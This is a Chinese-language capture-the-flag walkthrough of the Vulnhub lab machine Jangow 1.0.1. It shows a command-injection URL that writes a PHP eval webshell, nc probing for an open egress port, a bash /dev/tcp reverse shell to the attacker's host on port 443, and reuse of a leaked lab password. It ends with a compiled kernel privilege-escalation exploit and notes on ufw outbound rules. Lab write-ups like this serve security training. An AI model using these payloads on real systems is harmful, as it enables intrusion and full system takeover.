跳转至

[Vulnhub]Jangow: 1.0.1

题目地址:https://www.vulnhub.com/entry/jangow-101,754/
难度:Easy
网段:192.168.101.0/24

扫描靶机:

fscan -h 192.168.101.0/24

信息如下:

(icmp) Target 192.168.101.134 is alive
192.168.101.134:21 open
192.168.101.134:22 open
192.168.101.134:80 open
[*] WebTitle http://192.168.101.134    code:200 len:747    title:Index of /

访问网站:http://192.168.101.134/ 发现是一个目录索引,直接访问 /site/ 来到一个网站。

先扫描一下,扫描出了一个 .backup,没有什么别的有价值的东西。但是我们乱点来到了这样一个页面:

点击就发现是一个空白页面,还提供了参数传递入口,看起来就好像一个木马一样。经过一番测试,发现这就是一个命令执行的参数。比如说:

然后我们立即尝试反弹 shell, 结果发现不行。无论如何都无法反弹出来。估计是防火墙过滤了。当然正向连接还是可以的,我们写一个木马方便我们使用:

site/busque.php?buscar=echo '<?php eval($_POST[1]);' > evil.php

注意可以使用 urlencode 编码,并且这里的引号是单引号,要不然 $_POST[1] 就会被吞掉直接解析了。

然后测试 site/evil.php,没有问题:

打开蚁剑,直接连接:

然后我们就可以进行 www-data 用户的提权了。

为了方便操作,我们还是希望可以直接反弹 shell,所以我们可以试探一下对方防火墙放行端口。使用命令:

timeout 1 nc -vz 192.168.101.1 80

当 1 秒钟没有反应的时候,就会直接退出。然后我们就可以测试一些常用的端口了。最后我们发现了 443 端口可以被放出。

timeout 1 nc -vz 192.168.101.1 443
nc: connect to 192.168.101.1 port 443 (tcp) failed: Connection refused

出现这行字说明已经出站了,可以连接外部的 443 端口。所以我们可以反弹外部的 443 端口:

在宿主机上,监听 443 端口:

# 给一个 root 权限才可以使用 443 端口
sudo nc -lvvp 443

然后就是给对方运行反弹命令:

bash -c 'bash -i >& /dev/tcp/192.168.101.1/443 0>&1'

然后就可以惊喜地发现宿主机上面反弹 shell 成功了。

然后稍微升级一下 shell:

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color

(ctrl + z)
stty raw -echo;fg
(enter)

然后我们查看 /home 目录,发现有 jangow01 这个用户。我们想起之前扫描出来的 .backup 文件,内容如下:

.backup.php
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);

这个备份文件似乎说明了本机的 mysql 账户密码,但事实上,我无法连接成功,反而直接用来登陆账户成功了。也就是说 jangow01 用户的密码就是 abygurl69

su - jangow01

随便在 jangow01 家目录下面随便乱翻,也没什么太多有价值的东西,顶多知道我们需要提权为 root 用户才算通关。那么应该如何提权呢?

先看之前提过的 sudo -l 命令,看一下有没有可以高权限执行的命令。可惜没有。那么我们只能找漏洞了。

先查看一下 linux 的内核版本:

uname -a
# Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

可以看到内核版本为 4.4.0-31,我们使用 searchsploit 搜索一下这个内核版本的提权漏洞,结果如下:

 searchsploit kernel 4.4.0-31
--------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                 |  Path
--------------------------------------------------------------------------------------------------------------- ---------------------------------
Android Kernel < 4.8 - ptrace seccomp Filter Bypass                                                            | android/dos/46434.c
Apple iOS < 10.3.1 - Kernel                                                                                    | ios/local/42555.txt
Apple Mac OSX < 10.6.7 - Kernel Panic (Denial of Service)                                                      | osx/dos/17901.c
Apple macOS < 10.12.2 / iOS < 10.2 - '_kernelrpc_mach_port_insert_right_trap' Kernel Reference Count Leak / Us | macos/local/40956.c
Apple macOS < 10.12.2 / iOS < 10.2 - '_kernelrpc_mach_port_insert_right_trap' Kernel Reference Count Leak / Us | macos/local/40956.c
Apple macOS < 10.12.2 / iOS < 10.2 - Broken Kernel Mach Port Name uref Handling Privileged Port Name Replaceme | macos/local/40957.c
Apple macOS < 10.12.2 / iOS < 10.2 Kernel - ipc_port_t Reference Count Leak Due to Incorrect externalMethod Ov | multiple/dos/40955.txt
Apple macOS < 10.12.2 / iOS < 10.2 Kernel - ipc_port_t Reference Count Leak Due to Incorrect externalMethod Ov | multiple/dos/40955.txt
Jungo DriverWizard WinDriver < 12.4.0 - Kernel Out-of-Bounds Write Privilege Escalation                        | windows/local/42625.py
Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (1)                  | windows/local/42624.py
Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (2)                  | windows/local/42665.py
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation                                      | solaris/local/15962.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 P | linux/local/9479.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation                                              | linux/local/50135.c
Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation                     | linux/local/41995.c
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free                                           | linux/dos/43234.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Condition Privilege Escalation    | windows_x86-64/local/47170.c
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation                                                     | linux/local/41886.c
Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service                                   | linux/dos/42136.c
Linux kernel < 4.10.15 - Race Condition Privilege Escalation                                                   | linux/local/43345.c
Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation                              | linux/local/45553.c
Linux Kernel < 4.13.1 - BlueTooth Buffer Overflow (PoC)                                                        | linux/dos/42762.txt
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                  | linux/local/45010.c
Linux Kernel < 4.14.rc3 - Local Denial of Service                                                              | linux/dos/42932.c
Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak                                                       | linux/local/44325.c
Linux Kernel < 4.16.11 - 'ext4_read_inline_data()' Memory Corruption                                           | linux/dos/44832.txt
Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free                                                                 | linux/dos/44579.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                         | linux/local/44298.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)          | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KA | linux/local/47169.c
Linux Kernel < 4.5.1 - Off-By-One (PoC)                                                                        | linux/dos/44301.c
macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving | multiple/dos/46300.c
Sony Playstation 4 (PS4) < 7.02 / FreeBSD 9 / FreeBSD 12 - 'ip6_setpktopt' Kernel Local Privilege Escalation ( | hardware/local/48644.c
--------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

像下面几个,都是 Local Privilege Escalation 类型的本地提权漏洞,我测试了几个都可以成功。

Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation                              | linux/local/45553.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                  | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                         | linux/local/44298.c

这里以 45010.c 为例,我们下载下来:

searchsploit -m 45010.c

然后把这个文件通过蚁剑上传到靶机上,在靶机上编译。为什么要这么做呢,因为在自己的机器上编译,就会出现库文件版本太高问题。

gcc -o exp 45010.c

然后在靶机上,直接执行这个 exp 文件即可:

提权成功,通关!


说点题外话,就是为什么这台虚拟机可以做到只允许访问 443 呢。经过一番研究,发现端倪出现在 ufw 这个软件下。我们需要提权到 root 用户下,执行有关命令就可以看到了。

ufw status
Estado: ativo

Para                       Ação        De
----                       ----        --
21/tcp                     ALLOW       Anywhere
80                         ALLOW       Anywhere

443                        ALLOW OUT   Anywhere

上面那些鸟语好象是葡萄牙语,不用在意,重点是可以看到 443 这个端口的状态是 ALLOW OUT。我以前一直认为 ALLOW 状态是包含 ALLOW INALLOW OUT 的。但实际上,ALLOW 单纯指入站流量,外来流量访问本机某端口。而 ALLOW OUT 是出站流量,指的是本机是否允许访问外部网络的某端口。也就是说这里的端口针对于的就是其他服务器上的端口。这还挺搞笑的,我一直不知道。

经过一番查找,发现如何查看默认的出站流量配置命令就是:

ufw status verbose
这个命令就是提供上述的详细信息,也会包含默认的出入站流量配置,当然一般的电脑是不会把默认出站流量设置为 deny 的,所以一般我们也见不到 ALLOW OUT 这种配置。


文章热度:0次阅读